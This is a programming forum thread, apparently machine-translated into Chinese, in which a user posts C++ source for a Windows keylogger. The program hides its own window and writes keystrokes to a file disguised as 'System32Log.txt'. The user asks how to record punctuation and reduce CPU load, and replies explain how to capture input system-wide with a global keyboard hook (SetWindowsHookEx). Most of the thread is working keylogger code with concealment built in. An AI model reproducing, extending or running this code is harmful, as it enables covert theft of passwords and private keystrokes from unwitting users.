2012-10-18 86 views
1

我想在我自己的電腦上製作一個小型鍵盤記錄程序,以查看按鍵如何與C++配合使用。我在網上找到了一些代碼,只是編輯了一下,雖然我不知道如何去做我想做的事情。製作鍵盤記錄程序

#include "stdafx.h" 
#include <iostream> 
#include <windows.h> 
#include <winuser.h> 

using namespace std; 
int Save (int key_stroke, char *file); 
void Stealth(); 

int main() 
{ 
    Stealth(); 
char i; 
while (1) 
{ 
    for(i = 8; i <= 190; i++) 
    { 
     if (GetAsyncKeyState(i) == -32767) 
      Save (i,"System32Log.txt"); 
    } 
} 
system ("PAUSE"); 
return 0; 
} 
int Save (int key_stroke, char *file) 
{ 
if ((key_stroke == 1) || (key_stroke == 2)) 
    return 0; 

FILE *OUTPUT_FILE; 
OUTPUT_FILE = fopen(file, "a+"); 

cout << key_stroke << endl; 

    if (key_stroke == 8) 
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
    else if (key_stroke == 13) 
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32) 
    fprintf(OUTPUT_FILE, "%s", " "); 
    else if (key_stroke == VK_TAB)    
    fprintf(OUTPUT_FILE, "%s", "[TAB]"); 
     else if (key_stroke == VK_SHIFT) 
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); 
     else if (key_stroke == VK_CONTROL) 
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); 
      else if (key_stroke == VK_ESCAPE) 
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); 
      else if (key_stroke == VK_END) 
    fprintf(OUTPUT_FILE, "%s", "[END]"); 
       else if (key_stroke == VK_HOME) 
    fprintf(OUTPUT_FILE, "%s", "[HOME]"); 
       else if (key_stroke == VK_LEFT) 
    fprintf(OUTPUT_FILE, "%s", "[LEFT]"); 
        else if (key_stroke == VK_UP) 
    fprintf(OUTPUT_FILE, "%s", "[UP]"); 
        else if (key_stroke == VK_RIGHT) 
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); 
         else if (key_stroke == VK_DOWN) 
    fprintf(OUTPUT_FILE, "%s", "[DOWN]"); 
         else if (key_stroke == 190 || key_stroke == 110) 
    fprintf(OUTPUT_FILE, "%s", "."); 
         else 
    fprintf(OUTPUT_FILE, "%s", &key_stroke); 
fclose (OUTPUT_FILE); 
return 0; 
} 
void Stealth() 
{ 
HWND Stealth; 
AllocConsole(); 
Stealth = FindWindowA("ConsoleWindowClass", NULL); 
ShowWindow(Stealth,0); 
} 

我想修復它以正確存儲「。」等內容。 「,」或更多,但我不確定,因爲我不熟悉關鍵筆畫。此外,我想添加一些東西,使它消耗更少的CPU(目前在我的i5上的25%),我應該使用睡眠(價值),但我不確定哪個價值去。

+0

你需要一種不同於你提供的程序來使它使用更少的CPU(它包含一個輪詢循環 - 它應該是事件驅動的)。目前還不清楚您是需要系統範圍的密鑰記錄器還是隻需要一個程序。請澄清。 –

+0

系統範圍鍵記錄器記錄來自鍵盤的任何輸入,並將其保存到文件中。 – Marink

+0

沒有檢查代碼,但乍一看這看起來很有希望。 http://thetechnofreak.com/technofreak/keylogger-visual-c/ – 2012-10-18 14:01:57

回答

6

快速查看herehere的回答,以獲取有關哪些Windows API函數適合您的工作的更多信息。


基本思想是建立一個所謂的「鉤子」的鍵盤使用SetWindowsHookEx函數(或鍵盤奧德Keyboard_LL - 你可能會想第一雖然)。在卸載鍵盤記錄器時,您需要解開它。設置掛鉤後,Windows將在每次鍵盤事件後調用掛鉤功能。你處理它(記錄在某個地方)然後你用CAllNextHook調用下一個Hook來繼續在Windows中處理事件。你需要一些嘗試和調試。

這就是全局掛鉤(第二個鏈接提供MSDN中的信息)。研究SetWindowsHookEx函數並試圖理解它背後的機制,你很快就會成功。你也可以在你的搜索中使用「鉤子」作爲關鍵字來優化你的搜索(例如,閱讀這個here

+0

我檢查過它,可悲的是,即使在重新研究後,我也不知道如何使用它... – Marink